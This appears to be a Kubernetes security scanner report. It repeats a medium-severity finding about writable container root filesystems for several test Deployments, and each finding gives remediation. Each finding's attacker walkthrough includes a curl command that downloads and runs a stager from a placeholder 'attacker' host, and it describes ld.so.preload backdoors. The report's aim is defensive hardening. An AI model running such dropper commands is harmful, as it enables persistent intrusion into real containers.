A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/ingress-app -n ingress-only -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-narrow-app Workload 5.5
Container app has a writable root filesystem in Deployment/lp-fixtures/lp-narrow-app
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/lp-narrow-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-orphan-app Workload 5.5
Container app has a writable root filesystem in Deployment/lp-fixtures/lp-orphan-app
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-orphan-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/lp-orphan-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-wildcard-app Workload 5.5
Container app has a writable root filesystem in Deployment/lp-fixtures/lp-wildcard-app
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/lp-wildcard-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.5
Container app has a writable root filesystem in Deployment/netpol-imds/imds-allow-app
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imds-allow-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.5
Container app has a writable root filesystem in Deployment/netpol-imds/imds-open-app
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-open-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imds-open-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 5.5
Container app has a writable root filesystem in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Privilege Escalation Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/imp-app Workload 5.5
Container app has a writable root filesystem in Deployment/rbac-fixtures/imp-app
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imp-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/wildcard-app Workload 5.5
Container app has a writable root filesystem in Deployment/rbac-fixtures/wildcard-app
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/wildcard-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/statusspoof-fixtures/statusspoof-api Workload 5.5
Container app has a writable root filesystem in Deployment/statusspoof-fixtures/statusspoof-api
Scope · Workload Workload Deployment/statusspoof-fixtures/statusspoof-api
Category: Privilege Escalation Resource: Deployment/statusspoof-fixtures/statusspoof-api Namespace: statusspoof-fixtures

Container app in Deployment/statusspoof-fixtures/statusspoof-api either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/statusspoof-api -n statusspoof-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/generic-hostpath-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.5
Container app has a writable root filesystem in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

